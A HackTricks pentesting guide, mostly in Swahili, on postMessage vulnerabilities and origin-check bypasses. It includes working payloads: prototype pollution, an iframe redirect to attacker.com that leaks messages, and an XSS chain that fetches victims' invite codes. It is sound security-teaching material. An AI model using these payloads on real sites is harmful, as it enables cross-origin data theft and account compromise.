PostMessage Vulnerabilities

PostMessage Vulnerabilities

Support HackTricks

Send PostMessage

PostMessage inatumia kazi ifuatayo kutuma ujumbe:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Note that targetOrigin inaweza kuwa '*' au URL kama https://company.com. Katika hali ya pili, ujumbe unaweza kutumwa tu kwa ile domain (hata kama asili ya kitu cha dirisha ni tofauti). Ikiwa wildcard inatumika, ujumbe unaweza kutumwa kwa domain yoyote, na utatumwa kwa asili ya kitu cha Dirisha.

Kushambulia iframe & wildcard katika targetOrigin

Kama ilivyoelezwa katika ripoti hii ikiwa unapata ukurasa ambao unaweza iframed (hakuna ulinzi wa X-Frame-Header) na ambao unatumia ujumbe wa nyeti kupitia postMessage kwa kutumia wildcard (*), unaweza kubadilisha asili ya iframe na leak ujumbe wa nyeti kwa domain inayodhibitiwa na wewe. Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini targetOrigin imewekwa kwa URL na sio kwa wildcard, hila hii haitafanya kazi.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener ni kazi inayotumiwa na JS kutangaza kazi ambayo inatarajia postMessages. Kodi kama ifuatavyo itatumika:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Note katika kesi hii jinsi kitu cha kwanza ambacho msimbo unafanya ni kuangalia asili. Hii ni muhimu sana hasa ikiwa ukurasa utafanya kitu chochote nyeti na taarifa iliyopokelewa (kama kubadilisha nywila). Ikiwa haikangalii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints na kubadilisha nywila za waathirika (katika mfano huu).

Enumeration

Ili kupata wasikilizaji wa matukio katika ukurasa wa sasa unaweza:

  • Tafuta msimbo wa JS kwa window.addEventListener na $(window).on (toleo la JQuery)

  • Tekeleza katika console ya zana za maendeleo: getEventListeners(window)

  • Nenda kwa Elements --> Event Listeners katika zana za maendeleo za kivinjari

Origin check bypasses

  • event.isTrusted sifa inachukuliwa kuwa salama kwani inarudisha True tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kupita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.

  • Matumizi ya indexOf() kwa uthibitishaji wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Njia ya search() kutoka String.prototype.search() inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote kisichokuwa regexp kunasababisha uhamasishaji wa kimya kwa regex, na kufanya njia hiyo kuwa hatarishi. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitishaji na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • Kazi ya match(), kama search(), inashughulikia regex. Ikiwa regex imejengwa vibaya, inaweza kuwa na uwezekano wa kupita.

  • Kazi ya escapeHtml inakusudia kusafisha ingizo kwa kukwepa wahusika. Hata hivyo, haizalishi kitu kipya kilichokwepwa bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika. Haswa, ikiwa kitu kinaweza kubadilishwa kwa namna ambayo mali yake inayodhibitiwa haikubali hasOwnProperty, escapeHtml haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini:

  • Kushindwa Kutarajiwa:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kupita kukwepa:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Katika muktadha wa udhaifu huu, kitu cha File kinapatikana kwa urahisi kutokana na sifa yake ya kusoma tu name. Sifa hii, inapokuwa katika templeti, haijasafishwa na kazi ya escapeHtml, ikisababisha hatari za usalama.

  • Sifa ya document.domain katika JavaScript inaweza kuwekwa na skripti ili kupunguza eneo, ikiruhusu utekelezaji wa sera ya asili sawa kuwa rahisi zaidi ndani ya eneo moja la mzazi.

e.origin == window.origin bypass

Wakati wa kuingiza ukurasa wa wavuti ndani ya sandboxed iframe kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia sifa za sandbox na athari zao kwenye usalama na utendaji.

Kwa kubainisha allow-popups katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya allow-popups-to-escape-sandbox pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa null, ikilingana na asili ya iframe.

Kwa hivyo, wakati popup inafunguliwa chini ya hali hizi na ujumbe unatumwa kutoka iframe hadi popup kwa kutumia postMessage, pande zote za kutuma na kupokea zina asili zao zimewekwa kuwa null. Hali hii inasababisha hali ambapo e.origin == window.origin inathibitishwa kuwa kweli (null == null), kwa sababu iframe na popup zinashiriki thamani sawa ya asili ya null.

Kwa maelezo zaidi soma:

Bypassing SOP with Iframes - 1

Bypassing e.source

Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa ya kuvutia kwa Content Scripts kutoka nyongeza za kivinjari kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

You can force e.source of a message to be null by creating an iframe that sends the postMessage and is immediately deleted.

For more information read:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Ili kutekeleza mashambulizi haya, kwa njia bora utakuwa na uwezo wa kueka ukurasa wa mtandaoni wa mwathirika ndani ya iframe. Lakini vichwa vingine kama X-Frame-Header vinaweza kuzuia hiyo tabia. Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Kuiba ujumbe uliopelekwa kwa mtoto kwa kuzuia ukurasa mkuu

Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba data nyeti za postmessage zilizotumwa kwa iframe ya mtoto kwa kuzuia ukurasa mkuu kabla ya kutuma data na kutumia XSS katika mtoto ili kuvuja data kabla haijapokelewa:

Blocking main page to steal postmessage

Kuiba ujumbe kwa kubadilisha eneo la iframe

Ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza kubadilisha eneo la iframe hiyo ya mtoto, hivyo ikiwa inapata postmessage iliyotumwa kwa kutumia wildcard, mshambuliaji anaweza kubadilisha asilimia ya iframe hiyo kuwa ukurasa unaodhibitiwa na yeye na kuiba ujumbe:

Steal postmessage modifying iframe location

postMessage kwa Uchafuzi wa Prototype na/au XSS

Katika hali ambapo data iliyotumwa kupitia postMessage inatekelezwa na JS, unaweza iframe ukurasa na kutumia uchafuzi wa prototype/XSS ukituma exploit kupitia postMessage.

Mfano kadhaa wa XSS nzuri sana zilizofafanuliwa kupitia postMessage zinaweza kupatikana katika https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Mfano wa exploit ya kutumia Uchafuzi wa Prototype na kisha XSS kupitia postMessage kwa iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Kwa maelezo zaidi:

Marejeleo

Support HackTricks

Last updated